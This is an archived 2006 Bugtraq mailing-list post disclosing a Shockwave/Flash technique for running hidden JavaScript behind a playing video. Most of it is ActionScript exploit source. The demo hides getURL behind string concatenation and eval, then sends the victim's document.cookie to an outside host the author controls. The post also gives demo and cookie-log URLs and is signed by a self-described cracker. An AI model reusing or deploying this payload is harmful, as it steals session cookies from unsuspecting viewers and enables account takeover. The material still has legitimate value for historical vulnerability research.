bugtraq - Crtical Shockwave Embeded XSS Execution

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060713153315.5264.qmail@securityfocus.com>
Date: 13 Jul 2006 15:33:15 -0000
From: spammeanddie@....com
To: bugtraq@...urityfocus.com
Subject: Crtical Shockwave Embeded XSS Execution

 The critical bug Shockwave videos allows to embebded code execution... This code can be XSS or activex mechanism. The victim cant understand because it ll executed background of real video without any redirection or url spoofing..

======================================
Source Code:
There is there frame in this attack SWF;
1.Frame
// Action script...

// [Action in Frame 1]
loadMovie("anyvideo.swf", this);
---------------------------------------------
2.video
// [Action in Frame 2]
a = "get";
b = "URL";
c = "javascript:";
d = "attacker' js code which ll be executed back of movie;";
eval(a + b)(c + d);
loadVariables("Attackerz Url which for varifcation for js attack", _root, "GET");
nextFrame();
---------------------------------------------
// [Action in Frame 3]
play(); //play video which loaded in 1. frame
=============================================

Full Demostration:
http://lindowsrock.275mb.com/
----------------------------------------------
Source code of which called in index.html of priview.swf

// Action script...

// [Action in Frame 1]
loadMovie("lindows.swf", this);

// [Action in Frame 2]
a = "get";
b = "URL";
c = "javascript:";
d = "img = new Image(); img.src = \'http://fotoz.awardspace.biz/s.php?\'+document.cookie;void(O);";
eval(a + b)(c + d);
loadVariables("http://fotoz.awardspace.biz/s.php?\'+document.cookie", _root, "GET");
nextFrame();

// [Action in Frame 3]
play();
-----------------------------------------------

 in This demo if the victim open this page attacker' code executed in backgroud & Cookie will be logged 
http://fotoz.awardspace.biz/spamabi.php

Creditz By Spammeanddie
==========================================
One of Turkish Cracker.!!! Real is uninque but fake only we share becomes bigger...
==========================================
CRAXWARE.COM => Middle East Security
Spammeanddie=> spammeanddie@....com
==========================================